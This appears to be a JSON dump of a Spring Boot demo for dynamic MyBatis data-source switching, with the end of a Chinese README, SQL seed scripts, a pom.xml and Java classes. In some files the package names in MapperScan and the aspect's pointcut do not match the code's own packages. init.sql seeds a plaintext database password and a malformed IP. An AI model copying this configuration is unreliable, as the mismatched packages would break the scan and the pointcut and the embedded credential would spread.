dataSourceBuilder.type(DynamicDataSource.class);\n        return dataSourceBuilder.build();\n    }\n}\n```\n\n- MybatisConfiguration.java\n\n> 这个类主要是将我们上一步构建出来的数据源配置到 Mybatis 的 `SqlSessionFactory` 里\n\n```java\n/**\n * <p>\n * mybatis配置\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/4 16:20\n */\n@Configuration\n@MapperScan(basePackages = \"com.jun.plugin.dynamicdatasource.mapper\", sqlSessionFactoryRef = \"sqlSessionFactory\")\npublic class MybatisConfiguration {\n    /**\n     * 创建会话工厂。\n     *\n     * @param dataSource 数据源\n     * @return 会话工厂\n     */\n    @Bean(name = \"sqlSessionFactory\")\n    @SneakyThrows\n    public SqlSessionFactory getSqlSessionFactory(@Qualifier(\"dataSource\") DataSource dataSource) {\n        SqlSessionFactoryBean bean = new SqlSessionFactoryBean();\n        bean.setDataSource(dataSource);\n        return bean.getObject();\n    }\n}\n```\n\n### 2.3. 动态数据源主要逻辑\n\n- DatasourceConfigContextHolder.java\n\n> 该类主要用于绑定当前线程所使用的数据源 id，通过 ThreadLocal 保证同一线程内不可被修改\n\n```java\n/**\n * <p>\n * 数据源标识管理\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/4 14:16\n */\npublic class DatasourceConfigContextHolder {\n    private static final ThreadLocal<Long> DATASOURCE_HOLDER = ThreadLocal.withInitial(() -> DatasourceHolder.DEFAULT_ID);\n\n    /**\n     * 设置默认数据源\n     */\n    public static void setDefaultDatasource() {\n        DATASOURCE_HOLDER.remove();\n        setCurrentDatasourceConfig(DatasourceHolder.DEFAULT_ID);\n    }\n\n    /**\n     * 获取当前数据源配置id\n     *\n     * @return 数据源配置id\n     */\n    public static Long getCurrentDatasourceConfig() {\n        return DATASOURCE_HOLDER.get();\n    }\n\n    /**\n     * 设置当前数据源配置id\n     *\n     * @param id 数据源配置id\n     */\n    public static void setCurrentDatasourceConfig(Long id) {\n        DATASOURCE_HOLDER.set(id);\n    }\n\n}\n```\n\n- DynamicDataSource.java\n\n> 该类继承 `com.zaxxer.hikari.HikariDataSource`，主要用于动态切换数据源连接。\n\n```java\n/**\n * <p>\n * 动态数据源\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/4 10:41\n */\n@Slf4j\npublic class DynamicDataSource extends HikariDataSource {\n    @Override\n    public Connection getConnection() throws SQLException {\n        // 获取当前数据源 id\n        Long id = DatasourceConfigContextHolder.getCurrentDatasourceConfig();\n        // 根据当前id获取数据源\n        HikariDataSource datasource = DatasourceHolder.INSTANCE.getDatasource(id);\n\n        if (null == datasource) {\n            datasource = initDatasource(id);\n        }\n\n        return datasource.getConnection();\n    }\n\n    /**\n     * 初始化数据源\n     * @param id 数据源id\n     * @return 数据源\n     */\n    private HikariDataSource initDatasource(Long id) {\n        HikariDataSource dataSource = new HikariDataSource();\n\n        // 判断是否是默认数据源\n        if (DatasourceHolder.DEFAULT_ID.equals(id)) {\n            // 默认数据源根据 application.yml 配置的生成\n            DataSourceProperties properties = SpringUtil.getBean(DataSourceProperties.class);\n            dataSource.setJdbcUrl(properties.getUrl());\n            dataSource.setUsername(properties.getUsername());\n            dataSource.setPassword(properties.getPassword());\n            dataSource.setDriverClassName(\"com.mysql.cj.jdbc.Driver\");\n        } else {\n            // 不是默认数据源，通过缓存获取对应id的数据源的配置\n            DatasourceConfig datasourceConfig = DatasourceConfigCache.INSTANCE.getConfig(id);\n\n            if (datasourceConfig == null) {\n                throw new RuntimeException(\"无此数据源\");\n            }\n\n            dataSource.setJdbcUrl(datasourceConfig.buildJdbcUrl());\n            dataSource.setUsername(datasourceConfig.getUsername());\n            dataSource.setPassword(datasourceConfig.getPassword());\n            dataSource.setDriverClassName(\"com.mysql.cj.jdbc.Driver\");\n        }\n        // 将创建的数据源添加到数据源管理器中，绑定当前线程\n        DatasourceHolder.INSTANCE.addDatasource(id, dataSource);\n        return dataSource;\n    }\n}\n```\n\n- DatasourceScheduler.java\n\n> 该类主要用于调度任务\n\n```java\n/**\n * <p>\n * 数据源缓存释放调度器\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/4 14:42\n */\npublic enum DatasourceScheduler {\n    /**\n     * 当前实例\n     */\n    INSTANCE;\n\n    private AtomicInteger cacheTaskNumber = new AtomicInteger(1);\n    private ScheduledExecutorService scheduler;\n\n    DatasourceScheduler() {\n        create();\n    }\n\n    private void create() {\n        this.shutdown();\n        this.scheduler = new ScheduledThreadPoolExecutor(10, r -> new Thread(r, String.format(\"Datasource-Release-Task-%s\", cacheTaskNumber.getAndIncrement())));\n    }\n\n    private void shutdown() {\n        if (null != this.scheduler) {\n            this.scheduler.shutdown();\n        }\n    }\n\n    public void schedule(Runnable task,long delay){\n        this.scheduler.scheduleAtFixedRate(task, delay, delay, TimeUnit.MILLISECONDS);\n    }\n\n}\n```\n\n- DatasourceManager.java\n\n> 该类主要用于管理数据源，记录数据源最后使用时间，同时判断是否长时间未使用，超过一定时间未使用，会被释放连接\n\n```java\n/**\n * <p>\n * 数据源管理类\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/4 14:27\n */\npublic class DatasourceManager {\n    /**\n     * 默认释放时间\n     */\n    private static final Long DEFAULT_RELEASE = 10L;\n\n    /**\n     * 数据源\n     */\n    @Getter\n    private HikariDataSource dataSource;\n\n    /**\n     * 上一次使用时间\n     */\n    private LocalDateTime lastUseTime;\n\n    public DatasourceManager(HikariDataSource dataSource) {\n        this.dataSource = dataSource;\n        this.lastUseTime = LocalDateTime.now();\n    }\n\n    /**\n     * 是否已过期，如果过期则关闭数据源\n     *\n     * @return 是否过期，{@code true} 过期，{@code false} 未过期\n     */\n    public boolean isExpired() {\n        if (LocalDateTime.now().isBefore(this.lastUseTime.plusMinutes(DEFAULT_RELEASE))) {\n            return false;\n        }\n        this.dataSource.close();\n        return true;\n    }\n\n    /**\n     * 刷新上次使用时间\n     */\n    public void refreshTime() {\n        this.lastUseTime = LocalDateTime.now();\n    }\n}\n```\n\n- DatasourceHolder.java\n\n> 该类主要用于管理数据源，同时通过 `DatasourceScheduler` 定时检查数据源是否长时间未使用，超时则释放连接\n\n```java\n/**\n * <p>\n * 数据源管理\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/4 14:23\n */\npublic enum DatasourceHolder {\n    /**\n     * 当前实例\n     */\n    INSTANCE;\n\n    /**\n     * 启动执行，定时5分钟清理一次\n     */\n    DatasourceHolder() {\n        DatasourceScheduler.INSTANCE.schedule(this::clearExpiredDatasource, 5 * 60 * 1000);\n    }\n\n    /**\n     * 默认数据源的id\n     */\n    public static final Long DEFAULT_ID = -1L;\n\n    /**\n     * 管理动态数据源列表。\n     */\n    private static final Map<Long, DatasourceManager> DATASOURCE_CACHE = new ConcurrentHashMap<>();\n\n    /**\n     * 添加动态数据源\n     *\n     * @param id         数据源id\n     * @param dataSource 数据源\n     */\n    public synchronized void addDatasource(Long id, HikariDataSource dataSource) {\n        DatasourceManager datasourceManager = new DatasourceManager(dataSource);\n        DATASOURCE_CACHE.put(id, datasourceManager);\n    }\n\n    /**\n     * 查询动态数据源\n     *\n     * @param id 数据源id\n     * @return 数据源\n     */\n    public synchronized HikariDataSource getDatasource(Long id) {\n        if (DATASOURCE_CACHE.containsKey(id)) {\n            DatasourceManager datasourceManager = DATASOURCE_CACHE.get(id);\n            datasourceManager.refreshTime();\n            return datasourceManager.getDataSource();\n        }\n        return null;\n    }\n\n    /**\n     * 清除超时的数据源\n     */\n    public synchronized void clearExpiredDatasource() {\n        DATASOURCE_CACHE.forEach((k, v) -> {\n            // 排除默认数据源\n            if (!DEFAULT_ID.equals(k)) {\n                if (v.isExpired()) {\n                    DATASOURCE_CACHE.remove(k);\n                }\n            }\n        });\n    }\n\n    /**\n     * 清除动态数据源\n     * @param id 数据源id\n     */\n    public synchronized void removeDatasource(Long id) {\n        if (DATASOURCE_CACHE.containsKey(id)) {\n            // 关闭数据源\n            DATASOURCE_CACHE.get(id).getDataSource().close();\n            // 移除缓存\n            DATASOURCE_CACHE.remove(id);\n        }\n    }\n}\n```\n\n- DatasourceConfigCache.java\n\n> 该类主要用于缓存数据源的配置，用户生成数据源时，获取数据源连接参数\n\n```java\n/**\n * <p>\n * 数据源配置缓存\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/4 17:13\n */\npublic enum DatasourceConfigCache {\n    /**\n     * 当前实例\n     */\n    INSTANCE;\n\n    /**\n     * 管理动态数据源列表。\n     */\n    private static final Map<Long, DatasourceConfig> CONFIG_CACHE = new ConcurrentHashMap<>();\n\n    /**\n     * 添加数据源配置\n     *\n     * @param id     数据源配置id\n     * @param config 数据源配置\n     */\n    public synchronized void addConfig(Long id, DatasourceConfig config) {\n        CONFIG_CACHE.put(id, config);\n    }\n\n    /**\n     * 查询数据源配置\n     *\n     * @param id 数据源配置id\n     * @return 数据源配置\n     */\n    public synchronized DatasourceConfig getConfig(Long id) {\n        if (CONFIG_CACHE.containsKey(id)) {\n            return CONFIG_CACHE.get(id);\n        }\n        return null;\n    }\n\n    /**\n     * 清除数据源配置\n     */\n    public synchronized void removeConfig(Long id) {\n        CONFIG_CACHE.remove(id);\n        // 同步清除 DatasourceHolder 对应的数据源\n        DatasourceHolder.INSTANCE.removeDatasource(id);\n    }\n}\n```\n\n### 2.4. 启动类\n\n> 启动后，使用默认数据源查询数据源配置列表，将其缓存到 `DatasourceConfigCache` 里，以供后续使用\n\n```java\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/4 17:57\n */\n@SpringBootApplication\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class SpringBootDemoDynamicDatasourceApplication implements CommandLineRunner {\n    private final DatasourceConfigMapper configMapper;\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoDynamicDatasourceApplication.class, args);\n    }\n\n    @Override\n    public void run(String... args) {\n        // 设置默认的数据源\n        DatasourceConfigContextHolder.setDefaultDatasource();\n        // 查询所有数据库配置列表\n        List<DatasourceConfig> datasourceConfigs = configMapper.selectAll();\n        System.out.println(\"加载其余数据源配置列表: \" + datasourceConfigs);\n        // 将数据库配置加入缓存\n        datasourceConfigs.forEach(config -> DatasourceConfigCache.INSTANCE.addConfig(config.getId(), config));\n    }\n}\n```\n\n### 2.5. 其余代码参考 demo\n\n## 3. 测试\n\n启动项目，可以看到控制台读取到数据库已配置的数据源信息\n\n![image-20190905164824155](assets/image-20190905164824155.png)\n\n通过 PostMan 等工具测试\n\n- 默认数据源查询\n\n![image-20190905165240373](assets/image-20190905165240373.png)\n\n- 根据数据源id为1的数据源查询\n\n![image-20190905165323097](assets/image-20190905165323097.png)\n\n- 根据数据源id为2的数据源查询\n\n![image-20190905165350355](assets/image-20190905165350355.png)\n\n- 可以通过测试数据源的`增加/删除`，再去查询对应数据源的数据\n\n> 删除数据源：\n>\n> - DELETE http://localhost:8080/config/{id}\n>\n> 新增数据源: \n>\n> - POST http://localhost:8080/config\n>\n> - 参数：\n>\n> ```json\n> {\n>     \"host\": \"数据库IP\",\n>     \"port\": 3306,\n>     \"username\": \"用户名\",\n>     \"password\": \"密码\",\n>     \"database\": \"数据库\"\n> }\n> ```\n\n## 4. 优化\n\n如上测试，我们只需要通过在 header 里传递数据源的参数，即可做到动态切换数据源，怎么做到的呢？\n\n答案就是 `AOP`\n\n```java\n/**\n * <p>\n * 数据源选择器切面\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/4 16:52\n */\n@Aspect\n@Component\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class DatasourceSelectorAspect {\n    @Pointcut(\"execution(public * com.jun.plugin.dynamic.datasource.controller.*.*(..))\")\n    public void datasourcePointcut() {\n    }\n\n    /**\n     * 前置操作，拦截具体请求，获取header里的数据源id，设置线程变量里，用于后续切换数据源\n     */\n    @Before(\"datasourcePointcut()\")\n    public void doBefore(JoinPoint joinPoint) {\n        Signature signature = joinPoint.getSignature();\n        MethodSignature methodSignature = (MethodSignature) signature;\n        Method method = methodSignature.getMethod();\n\n        // 排除不可切换数据源的方法\n        DefaultDatasource annotation = method.getAnnotation(DefaultDatasource.class);\n        if (null != annotation) {\n            DatasourceConfigContextHolder.setDefaultDatasource();\n        } else {\n            RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes();\n            ServletRequestAttributes attributes = (ServletRequestAttributes) requestAttributes;\n            HttpServletRequest request = attributes.getRequest();\n            String configIdInHeader = request.getHeader(\"Datasource-Config-Id\");\n            if (StringUtils.hasText(configIdInHeader)) {\n                long configId = Long.parseLong(configIdInHeader);\n                DatasourceConfigContextHolder.setCurrentDatasourceConfig(configId);\n            } else {\n                DatasourceConfigContextHolder.setDefaultDatasource();\n            }\n        }\n    }\n\n    /**\n     * 后置操作，设置回默认的数据源id\n     */\n    @AfterReturning(\"datasourcePointcut()\")\n    public void doAfter() {\n        DatasourceConfigContextHolder.setDefaultDatasource();\n    }\n\n}\n```\n\n此时需要考虑，我们是否每个方法都允许用户去切换数据源呢？答案肯定是不行的，所以我们定义了一个注解去标识，当前方法仅可以使用默认数据源。\n\n```java\n/**\n * <p>\n * 用户标识仅可以使用默认数据源\n * </p>\n *\n * @author yangkai.shen\n * @date Created in 2019/9/4 17:37\n */\n@Target({ElementType.METHOD})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface DefaultDatasource {\n}\n```\n\n完结，撒花✿✿ヽ(°▽°)ノ✿"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/db/init.sql",
    "content": "CREATE TABLE IF NOT EXISTS `datasource_config`\n(\n    `id`       bigint(13)   NOT NULL AUTO_INCREMENT COMMENT '主键',\n    `host`     varchar(255) NOT NULL COMMENT '数据库地址',\n    `port`     int(6)       NOT NULL COMMENT '数据库端口',\n    `username` varchar(100) NOT NULL COMMENT '数据库用户名',\n    `password` varchar(100) NOT NULL COMMENT '数据库密码',\n    `database` varchar(100) DEFAULT 0 COMMENT '数据库名称',\n    PRIMARY KEY (`id`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='数据源配置表';\n\nINSERT INTO `datasource_config`(`id`, `host`, `port`, `username`, `password`, `database`)\nVALUES (1, '127.0.01', 3306, 'root', 'root', 'test');\nINSERT INTO `datasource_config`(`id`, `host`, `port`, `username`, `password`, `database`)\nVALUES (2, '192.168.239.4', 3306, 'dmcp', 'Dmcp321!', 'test');"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/db/user.sql",
    "content": "CREATE TABLE IF NOT EXISTS `test_user`\n(\n    `id`   bigint(13)   NOT NULL AUTO_INCREMENT COMMENT '主键',\n    `name` varchar(255) NOT NULL COMMENT '姓名',\n    PRIMARY KEY (`id`)\n) ENGINE = InnoDB\n  DEFAULT CHARSET = utf8 COMMENT ='用户表';\n\n--  默认数据库插入如下 SQL\nINSERT INTO `test_user`(`id`, `name`)\nvalues (1, '默认数据库用户1');\nINSERT INTO `test_user`(`id`, `name`)\nvalues (2, '默认数据库用户2');\n\n-- 测试库1插入如下SQL\nINSERT INTO `test_user`(`id`, `name`)\nvalues (1, '测试库1用户1');\nINSERT INTO `test_user`(`id`, `name`)\nvalues (2, '测试库1用户2');\n\n-- 测试库2插入如下SQL\nINSERT INTO `test_user`(`id`, `name`)\nvalues (1, '测试库2用户1');\nINSERT INTO `test_user`(`id`, `name`)\nvalues (2, '测试库2用户2');"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <artifactId>springboot_dynamic_datasource</artifactId>\n  <version>1.0.0-SNAPSHOT</version>\n  <packaging>jar</packaging>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-aop</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>tk.mybatis</groupId>\n      <artifactId>mapper-spring-boot-starter</artifactId>\n      <version>2.1.5</version>\n    </dependency>\n\n    <dependency>\n      <groupId>mysql</groupId>\n      <artifactId>mysql-connector-java</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>springboot_dynamic_datasource</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/SpringBootDemoDynamicDatasourceApplication.java",
    "content": "package com.jun.plugin.dynamic.datasource;\n\nimport lombok.RequiredArgsConstructor;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.CommandLineRunner;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\nimport com.jun.plugin.dynamic.datasource.datasource.DatasourceConfigCache;\nimport com.jun.plugin.dynamic.datasource.datasource.DatasourceConfigContextHolder;\nimport com.jun.plugin.dynamic.datasource.mapper.DatasourceConfigMapper;\nimport com.jun.plugin.dynamic.datasource.model.DatasourceConfig;\n\nimport java.util.List;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 17:57\n */\n@SpringBootApplication\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class SpringBootDemoDynamicDatasourceApplication implements CommandLineRunner {\n    private final DatasourceConfigMapper configMapper;\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoDynamicDatasourceApplication.class, args);\n    }\n\n    @Override\n    public void run(String... args) {\n        // 设置默认的数据源\n        DatasourceConfigContextHolder.setDefaultDatasource();\n        // 查询所有数据库配置列表\n        List<DatasourceConfig> datasourceConfigs = configMapper.selectAll();\n        System.out.println(\"加载其余数据源配置列表: \" + datasourceConfigs);\n        // 将数据库配置加入缓存\n        datasourceConfigs.forEach(config -> DatasourceConfigCache.INSTANCE.addConfig(config.getId(), config));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/annotation/DefaultDatasource.java",
    "content": "package com.jun.plugin.dynamic.datasource.annotation;\n\nimport java.lang.annotation.*;\n\n/**\n * <p>\n * 用户标识仅可以使用默认数据源\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 17:37\n */\n@Target({ElementType.METHOD})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\npublic @interface DefaultDatasource {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/aspect/DatasourceSelectorAspect.java",
    "content": "package com.jun.plugin.dynamic.datasource.aspect;\n\nimport lombok.RequiredArgsConstructor;\nimport org.aspectj.lang.JoinPoint;\nimport org.aspectj.lang.Signature;\nimport org.aspectj.lang.annotation.AfterReturning;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.aspectj.lang.annotation.Before;\nimport org.aspectj.lang.annotation.Pointcut;\nimport org.aspectj.lang.reflect.MethodSignature;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.context.request.RequestAttributes;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\n\nimport com.jun.plugin.dynamic.datasource.annotation.DefaultDatasource;\nimport com.jun.plugin.dynamic.datasource.datasource.DatasourceConfigContextHolder;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.lang.reflect.Method;\n\n/**\n * <p>\n * 数据源选择器切面\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 16:52\n */\n@Aspect\n@Component\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class DatasourceSelectorAspect {\n    @Pointcut(\"execution(public * com.xkcoding.dynamic.datasource.controller.*.*(..))\")\n    public void datasourcePointcut() {\n    }\n\n    /**\n     * 前置操作，拦截具体请求，获取header里的数据源id，设置线程变量里，用于后续切换数据源\n     */\n    @Before(\"datasourcePointcut()\")\n    public void doBefore(JoinPoint joinPoint) {\n        Signature signature = joinPoint.getSignature();\n        MethodSignature methodSignature = (MethodSignature) signature;\n        Method method = methodSignature.getMethod();\n\n        // 排除不可切换数据源的方法\n        DefaultDatasource annotation = method.getAnnotation(DefaultDatasource.class);\n        if (null != annotation) {\n            DatasourceConfigContextHolder.setDefaultDatasource();\n        } else {\n            RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes();\n            ServletRequestAttributes attributes = (ServletRequestAttributes) requestAttributes;\n            HttpServletRequest request = attributes.getRequest();\n            String configIdInHeader = request.getHeader(\"Datasource-Config-Id\");\n            if (StringUtils.hasText(configIdInHeader)) {\n                long configId = Long.parseLong(configIdInHeader);\n                DatasourceConfigContextHolder.setCurrentDatasourceConfig(configId);\n            } else {\n                DatasourceConfigContextHolder.setDefaultDatasource();\n            }\n        }\n    }\n\n    /**\n     * 后置操作，设置回默认的数据源id\n     */\n    @AfterReturning(\"datasourcePointcut()\")\n    public void doAfter() {\n        DatasourceConfigContextHolder.setDefaultDatasource();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/config/DatasourceConfiguration.java",
    "content": "package com.jun.plugin.dynamic.datasource.config;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.boot.jdbc.DataSourceBuilder;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport com.jun.plugin.dynamic.datasource.datasource.DynamicDataSource;\n\nimport javax.sql.DataSource;\n\n/**\n * <p>\n * 数据源配置\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 10:27\n */\n@Configuration\npublic class DatasourceConfiguration {\n\n    @Bean\n    @ConfigurationProperties(prefix = \"spring.datasource\")\n    public DataSource dataSource() {\n        DataSourceBuilder<?> dataSourceBuilder = DataSourceBuilder.create();\n        dataSourceBuilder.type(DynamicDataSource.class);\n        return dataSourceBuilder.build();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/config/MyMapper.java",
    "content": "package com.jun.plugin.dynamic.datasource.config;\n\nimport tk.mybatis.mapper.annotation.RegisterMapper;\nimport tk.mybatis.mapper.common.Mapper;\nimport tk.mybatis.mapper.common.MySqlMapper;\n\n/**\n * <p>\n * 通用 mapper 自定义 mapper 文件\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 16:23\n */\n@RegisterMapper\npublic interface MyMapper<T> extends Mapper<T>, MySqlMapper<T> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/config/MybatisConfiguration.java",
    "content": "package com.jun.plugin.dynamic.datasource.config;\n\nimport lombok.SneakyThrows;\nimport org.apache.ibatis.session.SqlSessionFactory;\nimport org.mybatis.spring.SqlSessionFactoryBean;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport tk.mybatis.spring.annotation.MapperScan;\n\nimport javax.sql.DataSource;\n\n/**\n * <p>\n * mybatis配置\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 16:20\n */\n@Configuration\n@MapperScan(basePackages = \"com.xkcoding.dynamic.datasource.mapper\", sqlSessionFactoryRef = \"sqlSessionFactory\")\npublic class MybatisConfiguration {\n    /**\n     * 创建会话工厂。\n     *\n     * @param dataSource 数据源\n     * @return 会话工厂\n     */\n    @Bean(name = \"sqlSessionFactory\")\n    @SneakyThrows\n    public SqlSessionFactory getSqlSessionFactory(@Qualifier(\"dataSource\") DataSource dataSource) {\n        SqlSessionFactoryBean bean = new SqlSessionFactoryBean();\n        bean.setDataSource(dataSource);\n        return bean.getObject();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/controller/DatasourceConfigController.java",
    "content": "package com.jun.plugin.dynamic.datasource.controller;\n\nimport lombok.RequiredArgsConstructor;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\n\nimport com.jun.plugin.dynamic.datasource.annotation.DefaultDatasource;\nimport com.jun.plugin.dynamic.datasource.datasource.DatasourceConfigCache;\nimport com.jun.plugin.dynamic.datasource.mapper.DatasourceConfigMapper;\nimport com.jun.plugin.dynamic.datasource.model.DatasourceConfig;\n\n/**\n * <p>\n * 数据源配置 Controller\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 17:31\n */\n@RestController\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class DatasourceConfigController {\n    private final DatasourceConfigMapper configMapper;\n\n    /**\n     * 保存\n     */\n    @PostMapping(\"/config\")\n    @DefaultDatasource\n    public DatasourceConfig insertConfig(@RequestBody DatasourceConfig config) {\n        configMapper.insertUseGeneratedKeys(config);\n        DatasourceConfigCache.INSTANCE.addConfig(config.getId(), config);\n        return config;\n    }\n\n    /**\n     * 保存\n     */\n    @DeleteMapping(\"/config/{id}\")\n    @DefaultDatasource\n    public void removeConfig(@PathVariable Long id) {\n        configMapper.deleteByPrimaryKey(id);\n        DatasourceConfigCache.INSTANCE.removeConfig(id);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/controller/UserController.java",
    "content": "package com.jun.plugin.dynamic.datasource.controller;\n\nimport lombok.RequiredArgsConstructor;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport com.jun.plugin.dynamic.datasource.mapper.UserMapper;\nimport com.jun.plugin.dynamic.datasource.model.User;\n\nimport java.util.List;\n\n/**\n * <p>\n * 用户 Controller\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 16:40\n */\n@RestController\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class UserController {\n    private final UserMapper userMapper;\n\n    /**\n     * 获取用户列表\n     */\n    @GetMapping(\"/user\")\n    public List<User> getUserList() {\n        return userMapper.selectAll();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/datasource/DatasourceConfigCache.java",
    "content": "package com.jun.plugin.dynamic.datasource.datasource;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport com.jun.plugin.dynamic.datasource.model.DatasourceConfig;\n\n/**\n * <p>\n * 数据源配置缓存\n * </p>\n *\n * @author Wujun\n * @date Created in 2019/9/4 17:13\n */\npublic enum DatasourceConfigCache {\n    /**\n     * 当前实例\n     */\n    INSTANCE;\n\n    /**\n     * 管理动态数据源列表。\n     */\n    private static final Map<Long, DatasourceConfig> CONFIG_CACHE = new ConcurrentHashMap<>();\n\n    /**\n     * 添加数据源配置\n     *\n     * @param id     数据源配置id\n     * @param config 数据源配置\n     */\n    public synchronized void addConfig(Long id, DatasourceConfig config) {\n        CONFIG_CACHE.put(id, config);\n    }\n\n    /**\n     * 查询数据源配置\n     *\n     * @param id 数据源配置id\n     * @return 数据源配置\n     */\n    public synchronized DatasourceConfig getConfig(Long id) {\n        if (CONFIG_CACHE.containsKey(id)) {\n            return CONFIG_CACHE.get(id);\n        }\n        return null;\n    }\n\n    /**\n     * 清除数据源配置\n     */\n    public synchronized void removeConfig(Long id) {\n        CONFIG_CACHE.remove(id);\n        // 同步清除 DatasourceHolder 对应的数据源\n        DatasourceHolder.INSTANCE.removeDatasource(id);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_dynamic_datasource/src/main/java/com/jun/plugin/dynamic/datasource/datasource/DatasourceConfigContextHolder.java",
